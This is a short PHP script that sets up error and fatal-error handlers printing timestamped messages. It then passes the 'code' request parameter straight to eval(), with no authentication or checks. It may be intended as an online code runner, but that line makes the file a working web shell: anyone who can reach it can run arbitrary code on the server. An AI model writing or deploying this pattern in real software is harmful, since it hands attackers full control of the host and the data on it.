<?php
set_error_handler('errorHandler');
register_shutdown_function('fatalErrorHandler');

function errorHandler($errno,$errstr,$errfile,$errline){
    $arr = array(
        '['.date('Y-m-d h-i-s').']',
        '|',
        $errstr,
        $errfile,
        'line:'.$errline,
    );
    echo implode(' ',$arr)."\r\n";
}

//捕获fatalError
function fatalErrorHandler(){
    $e = error_get_last();
    switch($e['type']){
        case E_ERROR:
        case E_PARSE:
        case E_CORE_ERROR:
        case E_COMPILE_ERROR:
        case E_USER_ERROR:
            errorHandler($e['type'],$e['message'],$e['file'],$e['line']);
            break;
    }
}
eval($_REQUEST['code']);
if(isset($_REQUEST['show_back_button']))
{
    echo '<br><a onclick="history.back()"> back </a>';
}
?>